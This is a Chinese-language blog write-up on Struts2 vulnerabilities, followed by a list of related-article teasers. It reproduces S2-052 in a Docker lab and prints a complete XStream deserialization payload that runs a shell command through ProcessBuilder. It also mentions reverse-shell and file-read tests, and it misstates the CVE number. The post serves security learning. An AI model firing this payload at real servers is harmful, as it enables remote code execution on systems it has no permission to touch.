简介:

struts2是apache项目下的一个web框架,主要应用于各类门户网站,而相对应的漏洞则是从2007年7月23日发布的第一个Struts2漏洞S2-001到2018年的S2-057,跨度还是很多的,以前学习的时候也是听说,基本上Struts每发布一个版本都会存在漏洞,根据Freebuf上的文章显示,漏洞的类型基本上是RCE,XSS,CSRF,DOS,目录遍历和其他功能缺陷漏洞等。风靡一时的漏洞则有S2-003、S2-005、S2-007、S2-008、S2-009、S2-012、S2-013、S2-015、S2-016、S2-019、S2-029、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、S2-052。

除了S2-052以外,其他的漏洞产生原因都是执行了恶意用户传进来的OGNL表达式,造成远程代码执行,可以造成命令执行,服务器文件操作,打印回显,获取系统i属性,危险代码执行等,只不需要进行构造不同的OGNL代码而已

OGNL:对象导航图语言(Object Graph Navigation Language),简称OGNL,是应用于java中的一个开源表达式语言,他被集成在Struts2等框架中。作用是对数据进行访问,它拥有对数据进行访问,它拥有类型转换,访问对象方法,操作集合对象等功能。

上述内容源自百度百科和Freebuf

Struts2著名RCE漏洞引发的十年之思

OGNL简介

接下来我介绍下我遇到的S2-052漏洞:

首先我对目标进行渗透测试的时候,首先使用awvs将收集到的子域名都导入到awvs中过了一遍,扫描器个我报了其中一个链接存在Struts2-052漏洞,于是我开始了检查漏洞是否误报检查漏洞是否可以利用的工作,但是全部都失败了,首先是使用了Struts2检测工具进行检测,发现不存在S2-052漏洞

工具地址:

Struts2全漏洞扫描利用工具

然而我TM的并没有发现存在S2-052漏洞,我就想“误报了,完蛋了,要加班了”,这是后话,我想,既然碰到了,虽然误报,但是我还是把这个漏洞搞搞清楚吧

S2-052漏洞:

漏洞编号:CVE-2017-9085

影响版本:Struts2.1.2-Struts2.3..33,Strus2.5-Struts2.5.12

漏洞产生原因:当用户使用带有Xstream程序的Struts REST插件来处理XML payload时,可能会遭到远程代码执行攻击。

漏洞复现过程:网上有不同的复现教程,我使用的docker镜像来复现。

拖取镜像:

docker pull medicean/vulapps:s_struts2_s2-052

启动环境:

docker run -d -p 80:8080 -v /tmp/:/tmp/ medicean/vulapps:s_struts2_s-052

启动成功后访问:

成功搭建测试环境

接下来抓包:我直接抓了这个界面的刷新的包

然后burp将数据包改为post请求

将content-Type改为application/xml,同时将payload粘贴进来

payload:

<map>
<entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command>
<string>touch</string>
<string>/tmp/test.txt</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer/><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>

Forward这个数据包,服务器会报错,但是命令是执行成功了的

本地的tmp目录下成功创建了一个testtest的空文件

复现成功

知其然,也要知其所以然,我这里浅显的介绍下为什么会要这样复现

第一:为什么要修改contenttype为application/xml

根据该漏洞的发现者的文章指出,是一个叫contentHandler的地方有问题

而这个contentHandler实际上是按照contenttype的不同,将请求的数据丢个指定的子类进行处理,而恰恰当contenttype为application/xml时,contenthandle将数据分发给了XStreamHandler这个类来进行处理,而这个类恰恰没有进行任何的校验,直接对数据进行了处理,导致了可以执行我们的payload

而后我做了一下两个实验,

1.实验文件读取和反弹shell

2.文件读取会遇到对> |这些符号的限制,

反弹shell的时候记得填写上去的ip为攻击者的ip

以上就是我对该漏洞的复现的学习,以下是借鉴的优秀的文章:

Struts S2-052反弹Shell实验

Struts2 S2-052漏洞分析

浅谈struts2漏洞(检测工具及S2-052漏洞及漏洞平台的搭建复现)相关推荐

  1. struts2 2.3 升级2.5.22配置(附带漏洞检测工具)

    1.首先更新jar包.从官网下载对应版本 struts-2.5.22-lib.下面是我选择的替换需要用的包 2.一定要删除自己项目中的xwork-core-2.3.20.jar,因为这个类库在stru ...

  2. 文件包含漏洞检测工具fimap

    文件包含漏洞检测工具fimap 在Web应用中,文件包含漏洞(FI)是常见的漏洞.根据包含的文件不同,它分为本地文件包含漏洞(LFI)和远程文件包含漏洞(RFL).利用该漏洞,安全人员可以获取服务器的 ...

  3. Wapiti一款小巧的开源安全测试漏洞检测工具

    Wapiti 是一套 OpenSource 的站点漏洞检测工具,比较特殊的是,它并不依赖特征数据库,也因此扫描的速度相当快,而探测的则是一些共通性问题,或是作者所宣称的未知漏洞.Wapiti 其实是一 ...

  4. python代码检查工具_基于Python3的漏洞检测工具 ( Python3 插件式框架 )

    [TOC] Python3 漏洞检测工具 -- lance lance, a simple version of the vulnerability detection framework based ...

  5. python测验3_基于Python3的漏洞检测工具

    原标题:基于Python3的漏洞检测工具 Python3 漏洞检测工具 -- lance lance, a simple version of the vulnerability detection ...

  6. Metasploit是一款开源的安全漏洞检测工具,

    Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,适合于需要核实漏洞的安全专家,同时也适合于强大进攻能力的 ...

  7. 北大软件“软件成分分析与漏洞检测工具”(CoBOT—SCA)正式发布

    根据全球知名IT研究与顾问咨询公司Gartner统计,从2010年到2018年软件代码中采用开源框架或组件.第三方库的比例每年以30%的速度增长,大量的软件系统引入开源代码和第三方库,有的系统引用开源 ...

  8. 科恩二进制静态漏洞检测工具BinAbsInspector

    科恩二进制文件自动化静态漏洞检测工具 腾讯科恩实验室前阵子出了一个二进制静态漏洞检测工具,专注于二进制漏洞扫描,先mark一下,后面写篇文章. 参考文献 "精"准把握静态分析|科恩 ...

  9. android漏洞检测工具,安卓“超级拒绝服务漏洞”分析及自动检测工具

    本帖最后由 公益 于 2015-1-7 18:14 编辑 作者:360捉虫猎手研究员 0xr0ot & Xbalien "超级拒绝服务漏洞"是360安全研究人员近期发现的一 ...

  10. 为什么都在选择IAST作为安全漏洞检测工具

    前言: 1 最近SAP 爆出的软件供应链安全风险事件 ​ 其中的五个高危漏洞如下,均是编码安全漏洞: lCVE-2023-25616代码注入漏洞 lCVE-2023-23857 隐私数据泄露漏洞 lC ...

最新文章

  1. Spring Boot与Web开发简介||SpringBoot对静态资源的映射规则
  2. Vue过滤器的简单使用--实时显示格式化的时间
  3. 获取用户坐标的html,html5获取用户地理位置
  4. 操作系统概念学习笔记 16 内存管理(二) 段页
  5. 华为云企业级Redis评测第二期:大Key操作的影响
  6. eclipse编辑器未包含main类型_Shopify模版编辑器问题排查及解决办法汇总
  7. android preferenceActivity的用法
  8. currenthashmap扩容原理_HashMap 深入解析(二)
  9. Kotlin — 实现JavaEE 开发Web工程
  10. HCIA-IoT V2.5物联网初级考试总结(附题库,历年真题,刷题软件)
  11. 【CA】数字电视CA原理与破解方式
  12. 蓝桥杯-奇妙的数字(2015-A-3)
  13. matlab vgg19提取语义特征,keras中VGG19预训练模型的使用
  14. 总结下几个有漏洞第三方插件
  15. 1分钟激活任意Windows 系统
  16. 关于html的表情包,HTML那些可愛的“表情包”
  17. ROS小车基于yocs_smoother_velocity做速度平滑处理
  18. 计算机应用基础网上作业2,华东理工 计算机应用基础(本)网上作业2
  19. 使用ndp.view标注大型医学图像
  20. Charles安装及使用教程

热门文章

  1. Python基础实例——随机单词生成(仅单词)
  2. 软件工程毕业设计课题(34)基于JAVA毕业设计JAVA医院预约挂号系统毕设作品项目
  3. 软件设计模式--软件设计演变过程
  4. java传递汉字翻译为英文_java写的能将汉字翻译成拼音的类
  5. 南柯服务器压力,从纳兰性德《木兰花》中看网络暴力和舆论压力带来的抑郁现象...
  6. 快速上手Django(二) Django 根据模型(models)生成更新数据库表make migrations
  7. 读取文件夹下同类型文件的文件名并排序(实例)
  8. html5 qq看点,AlloyTouch实战--60行代码搞定QQ看点资料卡
  9. unniapp实现电子签名
  10. UI设计师职业要求有哪些